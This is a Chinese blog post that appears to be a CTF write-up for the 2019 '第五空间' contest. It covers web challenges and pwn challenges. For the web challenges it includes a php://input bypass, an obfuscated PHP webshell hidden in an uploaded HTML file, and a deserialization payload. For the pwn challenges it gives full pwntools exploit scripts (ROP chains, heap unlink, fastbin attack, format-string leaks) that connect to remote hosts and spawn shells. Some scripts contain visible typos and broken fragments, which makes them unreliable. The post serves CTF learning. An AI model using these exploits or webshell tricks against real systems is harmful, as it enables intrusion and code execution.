第五空间writeup-str4nge

原创

白衣w 于 2019-08-28 23:34:54 发布 1040 收藏 3

分类专栏： CTF

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/wyj_1216/article/details/100128754

版权

CTF 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

web

空相

进入后：

尝试：id = 1

再次尝试：id = 1 and 1 = 1

尝试读取上面的php文件:25d99be830ad95b02f6f82235c8edcf7.php

发现token
于是：

```
http://111.33.164.4:10001/25d99be830ad95b02f6f82235c8edcf7.php?token=1DJBAAA03PNLD02GJ2S1M5LVUL8PTTHA

flag{e32277c14a70aeda80a0d0877241594f}
```

空性

http://111.33.164.6:10003

vim的源码泄露
111.33.164.6:10003/.151912db206ee052.php.swp

```
php

<?php
error_reporting(0);
class First{
  function firstlevel(){
        $a='whoami';
        extract($_GET);
        $fname = $_GET['fname']?$_GET['fname']:'./js/ctf.js';
        $content=trim(file_get_contents($fname));
        if($a==$content)
        {
                echo 'ok';;
        else
        {
                echo '听说你的Linux用的很6？';
        }
  }
}

$execfirst = new First();
$execfirst -> firstlevel();
?>php
```

从上面的php代码可以看出是很容易的一个变量使用php://input协议的一个知识点，传入如下的数据包：

```
GET //151912db206ee052.php?a=whoami&fname=php://input HTTP/1.1
Host: 111.33.164.6:10003
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 8

whoami
```

得到本题第二关的通关地址

```
html
HTTP/1.1 200 OK
Date: Wed, 28 Aug 2019 05:24:42 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Length: 441
Connection: close
Content-Type: text/html

<html>
<head>
<meta charset="utf-8">
<title>hello</title>
<script type="text/javascript" src="js/ctf.js"></script>
<link rel="stylesheet" href="css/style.css" />
</head>
<body>
<center><br/><a style="text-decoration: none" href="2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a
&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=48e5cf527a8171f38e5f31d30fe65843">æ¬¢è¿Žæ‰“å¼€æ–°ä¸–ç•Œ
çš„å¤§é–¨ï¼ </a></body>
</html>
```

获得第二关的地址之后，发现是一个文件上传，经过测试之后，发现过滤了很多php的函数，例如phpinfo(),system()等等，最关键的时候，没法上传php文件，但是发现可以上传html文件

然后发现这个链接比较有意思

```
url

http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=compute
r&file=3792689baaabc7eb&hash256=a7e5034c3039d902b26a3971f29efba8
```

其中有个file参数，经过测试之后，发现
http://111.33.164.6:10003/3792689baaabc7eb本身就是一个上传页面，于是猜测在file参数中有文件按包含

```
http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=compute
r&file=3792689baaabc7eb&hash256=a7e5034c3039d902b26a3971f29efba8
```

一下是我传的html文件，类似变种木马。一句话能千变万化，不是正则表达式所能制约的了的。

```
<script language="php"> echo 3; $a="sc"."an"."di"."r";$b=$a("./");print_r($b)</script>
```

```
http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=compute
r&file=upload/eb00b19a1f5fa8&hash256=a7e5034c3039d902b26a3971f29efba8
```

可以得到geiflag的链接

六尘

传送门：http://111.33.164.4:10005 tips：./tmp

这题我应该是非预期，不管怎么样，反正是拿到flag了
结合前面几题，访问/flagishere/发现直接列目录
早期扫描，还有/log/access.log 也能找到访问flag的路径，至于正确的解法，准备看其他师傅的writeup了

```
http://111.33.164.4:10005/flagishere/6be8b547d6db1d213c1ceecc30b3cb24.php?token=1DJBG96OVSP05N2GJ2S1M5LVCS46DTR2
```

八苦

http://111.33.164.6:10004 tips：flag在/var/www/flag.php

这题没做出来简单记录一下

```
php

<?php
    // flag.php in /var/html/www
    error_reporting(0);
    class Test{
        protected $careful;
        public $securuty;
        public function __wakeup(){
            if($this->careful===1){
                phpinfo();    // step 1:    read source,get phpinfo and read it carefullt
            }
        }
        public function __get($name){
            return $this->securuty[$name];
        }
        public function __call($param1,$param2){
            if($this->{$param1}){
                eval('$a='.$_GET['dangerous'].';');
            }
        }
    }
    class User{
        public $user;
        public function __wakeup(){
            $this->user=new Welcome();
            $this->user->say_hello();
        }
    }

    $a=serialize(new User);
    $string=$_GET['foo']??$a;
    unserialize($string);
?>
```

查看phpinfo();

```
http://111.33.164.6:10004/index.php?foo=O:4:%22Test%22:1:{s:10:%22%00*%00careful%22;i:1;}
```

后来总是500,自己也很菜，没有做下去。

pwn

pwn6

比较明显的溢出直接泄漏+ret2system

```
pytohn
from pwn import *
context.arch='amd64'
got=0x804a00c
read=0000000000400600
bss=0x00620800
plt0=0x0000000004005c0
strtab=0x4003e8
dynsym=0x4002c8
dynrel=0x000000000400490
p2=flat(
[got,0x07+(((bss+0x10-dynsym)/0x10)<<8)],0xdeadbeef,0xdeadbeef,# DYN_REL & ALAIGN
[bss+0x28-strtab,0x12,0,0,0,0],#DYNSYM
)+"system\x00\x00"+"/bin/sh\x00"#DYNSTR
#p=remote("111.33.164.6",50006)
rdi=0x0000000000414fc3
rsi=0x0000000000414fc1
leave=0x00000000004007c1


puts=0x0000000004005D0
got=0x000000000620018
read=0x000000000400600
main=0x0000000004007C3


context.log_level='debug'
context.arch='amd64'
#p=process('./pwn8')
p=remote("111.33.164.4",50006)


#gdb.attach(p,'''
#b *0x00000000040090E
#''')
#print leak(got)


#print leak(got+8)
#log.warning(sys)
p.sendline("1234")
pay="A"*0x10+p64(bss-8)+p64(rdi)+p64(got)+p64(puts)+p64(rdi)+p64(0)+p64(rsi)
pay+=p64(bss)+p64(0)+p64(read)+p64(leave)
p.sendlineafter("?\n",pay)
libc=ELF("libc12.so")
base=u64(p.readline()[:-1].ljust(0x8,'\x00'))-libc.sym['puts']#-(0x7ffff7a7c690-0x7ffff7a0d000)
log.warning(hex(base))


libc.address=base
pay=p64(rdi)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system'])
p.send(pay)


p.interactive('>')
```

pwn7

edit 有直接的溢出 可以直接unlink之后写写写就可以改掉free的got了.

```python
python
 from pwn import *
def cmd(c):
    p.sendlineafter(">>",str(c))
def sn(c):
    p.sendlineafter(":",str(c))
def add(size)
    cmd(1)

    sn(size)
def show(idx):
    cmd(2)
    sn(idx)
def edit(idx,size,c):
    cmd(3)
    sn(idx)
    sn(size)
    p.sendafter(":",c)
def free(idx):
    cmd(4)
    sn(idx)
context.log_level='debug'
context.arch='amd64'
#p=process('./pwn7')
p=remote("111.33.164.4",50007)
note=0x0000000006020E0
got=0x000000000602018
add(0x88)
add(0x28)
add(0x88)
add(0x1)
free(0)
add(0x88)
show(0)
p.readuntil("data:")
base=u64(p.readline()[:-1].ljust(8,'\x00'))-0x000000003A5678#-(0x7ffff7dd1b78-0x7ffff7a0d000)
base=bass
log.warning(hex(base))
edit(1,0x30,flat([0,0x21,note+8-0x18,note+8-0x10,0x20,0x90])[:-1])
free(2)
edit(1,0x300,'\x00'*0x10+flat([got])+'\n')
libc=ELF("./libc12.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
edit(3,0x20,'/bin/sh\x00\n')


#gdb.attach(p,'')
edit(0,0x8,p64(libc.sym['system']+base)[:-1])
free(3)
p.interactive('>')
```

pwn9

泄漏canary 溢出静态的ropchain走一遍就可以了

```python
python
from pwn import *
import base64
```

```
context.log_level = 'debug'


elf = ELF('./pwn9')


local = 0
if local:
    p = process('./pwn9')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('111.33.164.4', 50009)
    #libc = ELF('')


#payload = 'YWFhYWFhYWElMEE='
payload = base64.b64encode('a'*8+'b')
p.recvuntil('>\n')
#gdb.attach(p)
p.sendline(payload)
p.recvuntil('b')
canary = u64(p.recv(7).ljust(8,'\x00')) <<8
success('canary:'+hex(canary))
p1 = 'a'*8 + p64(canary) +'a'*8


p1 += p64(0x0000000000401f57) # pop rsi ; ret
p1 += p64(0x00000000006cb080) # @ .data
p1 += p64(0x00000000004715e4) # pop rax ; ret
p1 += '/bin//sh'
p1 += p64(0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p1 += p64(0x0000000000401f57) # pop rsi ; ret
p1 += p64(0x00000000006cb088) # @ .data + 8
p1 += p64(0x0000000000426baf) # xor rax, rax ; ret
p1 += p64(0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p1 += p64(0x0000000000401e36) # pop rdi ; ret
p1 += p64(0x00000000006cb080) # @ .data
p1 += p64(0x0000000000401f57) # pop rsi ; ret
p1 += p64(0x00000000006cb088) # @ .data + 8
p1 += p64(0x00000000004433e6) # pop rdx ; ret
p1 += p64(0x00000000006cb088) # @ .data + 8
p1 += p64(0x0000000000426baf) # xor rax, rax ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
```

```python
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046f140) # add rax, 1 ; ret
p1 += p64(0x000000000046fea5) # syscall ; ret


p.sendline('1')
payload = base64.b64encode(p1)
p.sendline(payload)
success('len:'+str(len(payload)))
p.sendline('no')


p.interactive()
```

pwn11

简单溢出题 泄漏 + system

```python
python
from pwn import *


context.log_level = 'debug'


elf = ELF('./pwn11')


local = 0
if local:
    p = process('./pwn11')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:#nc 111.33.164.4 50011
    p = remote('111.33.164.4', 50011)
    libc = ELF('./libc12.so')


rdi_ret = 0x4012ab
start = 0x401080


p.recvuntil('name\n')
p.sendline('a')
p.recvuntil('key?\n')
payload = '1'*0x28 + p64(rdi_ret) + p64(elf.got['stdout']) + p64(elf.plt['puts']) + p64(start)


p.send(payload.ljust(0x100))
p.recvuntil('fail!\x0a')


read_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']


bin_sh = libc_base + next(libc.search('/bin/sh'))


success('read_addr:'+hex(read_addr))
success('libc_base:'+hex(libc_base))
p.recvuntil('name\n')
p.sendline('a')
p.recvuntil('key?\n')
payload = '1'*0x28 + p64(rdi_ret) + p64(bin_sh) + p64(system_addr) + p64(start)
p.send(payload.ljust(0x100))


p.interactive()
```

pwn12

这题有点贼...两个洞 一个反向free差点没发现发现后比较好做了

```
python
from pwn import *
def it(name="1",info='A'*0x200):
    p.sendafter("?\n",name)
    p.sendafter("?\n",info)
def cmd(c):
    p.sendafter("Exit\n",str(c).ljust(8,'\x00'))
def sn(c):
    p.sendafter("?\n",str(c).ljust(8,'\x00'))
def add(size):
    cmd(1)
    sn(size)
def edit(idx,c):
    cmd(2)
    sn(idx)
    p.sendafter(":\n",c)
def show(idx):
    cmd(3)
    sn(idx)
def free(idx):
    cmd(4)
    sn(idx)
context.log_level='debug'
context.arch='amd64'
note=0x0000000006022E0
#p=process('./pwn12')
p=remote("111.33.164.4",50012)
it(p64(0x0000000006020a0)*2+p64(0)+p64(0x31),p64(0)+p64(0x21)*5)
add(0x28)#0
add(0x78)#1
free(0)
add(0x28)#0
show(0)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-0x0000000003A5678
log.warning(hex(base))
edit(0,"/bin/sh\x00")
free(-38)
add(0x28)#2
add(0x28)#3
add(0xf8)#4
edit(3,flat(0,0x21,note+0x30-0x18,note+0x30-0x10,0x20))
free(4)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc12.so")
edit(3,'\x00'*0x18+p64(libc.sym['__free_hook']+base))
edit(3,p64(libc.sym['system']+base))


#gdb.attach(p,'b *0x000000000400D93')
free(0)
p.interactive('>')
```

pwn13

栈溢出跳后门

```python
python
from pwn import *
def add(s):
    p.sendafter(":",str(1))
    p.sendafter("e\n",s)
sh=0x000555555554A50
context.log_level='debug'
context.arch='amd64'
#p=process('./pwn13')
p=remote("111.33.164.6",50013)
add("A"*9)
p.readuntil("A"*9)
base=u64(('\x00'+p.readline()[:-1]).ljust(8,'\x00'))-0xa00
log.warning(hex(base))
sh=base+0xa50
add("A"*0x28+p64(sh)[:2])
#gdb.attach(p,'b *0x0000555555554A44')
p.interactive('>')
```

pwn14

堆溢出比较简单有后门

```python
python
from pwn import *


context.log_level = 'debug'


elf = ELF('./pwn14')


local = 0
if local:
    p = process('./pwn14')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('111.33.164.4', 50014)


def cmd(num):
    p.recvuntil('choice : ')
    p.sendline(str(num))


def add(size,content):
    cmd(1)
    p.recvuntil('note : ')
    p.sendline(str(size))
    p.recvuntil('note:')
    p.send(content)


def edit(index, size, content):
    cmd(2)
    p.recvuntil('dex :')
    p.sendline(str(index))
    p.recvuntil('note : ')
    p.sendline(str(size))
```

```
    p.sendline(str(size))
    p.recvuntil('note : ')
    p.send(content)


def free(index):
    cmd(3)
    p.recvuntil('Index :')
    p.sendline(str(index))




tar_addr = 0x4040a0
add(0x20,'a'*0x20) #0
add(0x200,'aaaa\n') #1
add(0x20,'a'*0x20)
free(1)
edit(0,0x40,'a'*0x20 + p64(0) + p64(0x211) + p64(0) + p64(tar_addr-0x10))
add(0x200,'a\n')
#gdb.attach(p)
cmd(70)
#add(0x20,'a'*0x20)
p.interactive()
```

pwn15

有后门 比较简单改值开启后门就好

```python
from pwn import *
def cmd(c):
    p.sendlineafter(":",str(c))
def add(size=0x88,c="A"):
    cmd(1)
    cmd(size)
    p.sendafter(":",c)
def edit(idx,size,c="A"):
    cmd(2)
    cmd(idx)
    cmd(size)
    p.sendafter(":",c)
def free(idx):
    cmd(3)
    cmd(idx)
#context.log_level='debug'
context.arch='amd64'
note=0x0000000006020C0
#p=process('./pwn15')
p=remote("111.33.164.6",50015)
add(0x28)
add(0x88)
add(0x18)
edit(0,0x30,p64(0)+p64(0x21)+p64(note-0x18)+p64(note-0x10)+p64(0x20)+p64(0x90))
free(1)
edit(0,0x30,p64(0)*3+p64(0x000000000602088))
edit(0,8,p64(0xeee))
cmd(2019)
p.sendline("/bin/sh ./flag.sh 1DJAR837L8RR7B00000020PHFHVDPV6M")
p.interactive('>')
```

pwn bf

覆盖seed，格式化字符串leak onegadget 拿shell

```
 from pwn import*
context.log_level = "debug"
rand = ['7427','39356','9595','54062','67371','42578','92585','76990','22615','53318']
#p = process("./bf")
p = remote("111.33.164.4",50001)
#gdb.attach(p)
a = ELF("./libc12.so")
p.recvuntil("Are you sure want to play the game?")
p.sendline("1")
p.recvuntil("Input your name : ")
p.sendline(("%p%17$lx").ljust(0x1c,"a")+p64(0))


def try_it():
    for i in range(0,10):
        p.recvuntil("Now guess:")
        p.sendline(rand[i])


try_it()
p.recvuntil("0x")
libc_addr = int("0x"+p.recv(12),16) - a.symbols["_IO_2_1_stdout_"]-131 #_IO_2_1_stdout_+131
canary = int(p.recv(16),16)
print hex(libc_addr)
print canary
#p.sendline("")
one = 0x41320+libc_addr


p.sendline("a"*0x34+p64(canary)+"b"*8+p64(one))




p.interactive()
#flag{81159d272cb171ca74d3d1f325d4ff0a}
```

pwn mybooks

一句话总结libc很骚，写了两份exp，我佛了，off-by-ull正常leak然后fastbin attack

```
 from pwn import*
context.log_level = "debug"


#p = process("./mybooks")
p = remote("111.33.164.4",50002)
libc = ELF("./libc-2.19.so")
#print hex(libc.symbols["puts"])
#gdb.attach(p)
def add(size,name,content):
        p.recvuntil("6. Exit")
        p.sendline("1")
        p.recvuntil("Enter book name (Max 24 chars):")
        p.sendline(name)
        p.recvuntil("Enter desc size: ")
        p.sendline(str(size))
        p.recvuntil("Enter book description: ")
        p.send(str(content))
def remove(idx):
```

```
def remove(idx):
        p.recvuntil("6. Exit")
        p.sendline("2")
        p.recvuntil("Enter the book id you want to delete: ")
        p.sendline(str(idx))
def show(idx):
        p.recvuntil("6. Exit")
        p.sendline("4")
        p.recvuntil("show: ")
        p.sendline(str(idx))
def edit(idx,name,content):
        p.recvuntil("6. Exit")
        p.sendline("3")
        p.recvuntil("Enter the book id you want to edit: ")
        p.sendline(str(idx))
        p.recvuntil("name: ")
        p.send(str(name))
        p.recvuntil("description: ")
        p.send(str(content))




print libc.symbols["__malloc_hook"]
p.recvuntil("Pls input pass:")
p.sendline("12345678CABB")


add(0x80,"a","8")#0
add(0x80,"a","b")#1
remove(0)
#raw_input()
add(0x80,"a","8"*0x8)#0
show(0)
#raw_input()
p.recvuntil("Description: ")
p.recvuntil("8"*8)
libc_addr = u64(p.recv(6).ljust(8,"\x00"))-0x3A5678
print hex(libc_addr)
add(0x80,"a","b")#2
add(0x60,"a","b")#3
add(0xf0,"c","d")#4
remove(2)
edit(4,"a"*0x10+p64(0x20+0x30+0x70+0x90+0x20+0x30),"b\n")
remove(4)
add(0x1a0,"m","m"*0xd0+p64(0)+p64(0x30))
remove(3)
malloc_hook = libc.symbols["__malloc_hook"]+libc_addr-0x23
print hex(malloc_hook)
one = 0xd6e77+libc_addr
edit(2,"m","m"*(0xd0-1)+p64(0)+p64(0x31)+p64(0)*5+p64(0x21)+p64(0)*3+p64(0x71)+p64(malloc_hook)*2+"\n")
add(0x60,"m","b")
add(0x60,"m","\x00"*0x13+p64(one))
p.sendline("1")
```

```
 add(0x200,"bbbbbbb","bbbbbb")#3
for i in range(0,10):
        add(0xf8,"1111111","11111111")


for i in range(4,4+7):
        remove(i)
remove(11)
edit(13,"a"*0x10+p64(0x100+0x20+0x30+0x100+0x20+0x30),"bbb"+"\n")
raw_input()
remove(13)
add(0x300,"b","c")
raw_input()
for i in range(4,4+7):
        add(0xf8,"./flag.sh","./flag.sh")
remove(12)
malloc_hook = libc.symbols["__malloc_hook"]+libc_addr
one = libc.symbols["system"]+libc_addr
edit(4,"bbb+\n","\x00"*0x190+p64(0)+p64(0x101)+p64(malloc_hook)+"\n")
add(0xf8,"bbb",p64(one))#0x4f2c5 0x10a38c
add(0xf8,"bbb",p64(one))
remove(9)
'''
p.interactive()
#flag{81159d272cb171ca74d3d1f325d4ff0a}
```

ps:师傅们tql~~（这个比赛平台有够受的了。。。）